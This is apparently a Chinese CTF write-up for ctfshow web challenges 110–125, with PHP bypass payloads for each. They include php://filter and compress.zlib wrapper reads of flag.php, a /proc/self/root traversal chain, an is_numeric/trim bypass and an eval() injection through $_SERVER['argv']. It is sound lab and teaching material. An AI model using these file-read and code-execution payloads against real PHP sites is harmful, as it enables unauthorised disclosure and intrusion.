0%

ctfshow web入门110~125

web110


考察FilesystemIterator。getcwd()函数 获取当前工作目录 返回当前工作目录。
payload:

1
?v1=FilesystemIterator&v2=getcwd

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。

web111


考察 全局变量GLOBALS

要执行这一段函数,v1要等于ctfshow

1
2
3
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

然后再将v2的值赋给v1,再接着getFlag函数,打印v1,v1为全局变量的时候,即可打印出flag。
payload:

1
?v1=ctfshow&v2=GLOBALS

web112


payload:

1
2
3
4
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

php://filter的各种过滤器

web113


payload:
可以用zlib伪协议

1
?file=compress.zlib://flag.php

也可以用/proc/self/root

1
2
3
4
5
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

proc目录的应用

compress,和非预期都被禁了,但是伪协议放出来了,可以直接使用伪协议读
payload:

1
?file=php://filter/resource=flag.php

web115


考察点:trim函数的绕过+is_numeric绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
语法
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

看师傅的wp才能做出来,在本地测试一下

1
2
3
4
5
6
7
8
<?php

for($i=0;$i<=128;$i++){
$str=chr($i)."1";
if(is_numeric($str)&& trim($str)!=='1'){
echo urlencode(chr($i))."<br>";
}
}

可以用%0c换页,
payload:

1
?num=%0c36

web123

1
GET或POST的方式传进去的变量名,会自动将空格 + . [ 转换为_,想构造出.,需要前面带上[,后面用.就可以不变成_。

payload:

1
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

payload:

1
2
3
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])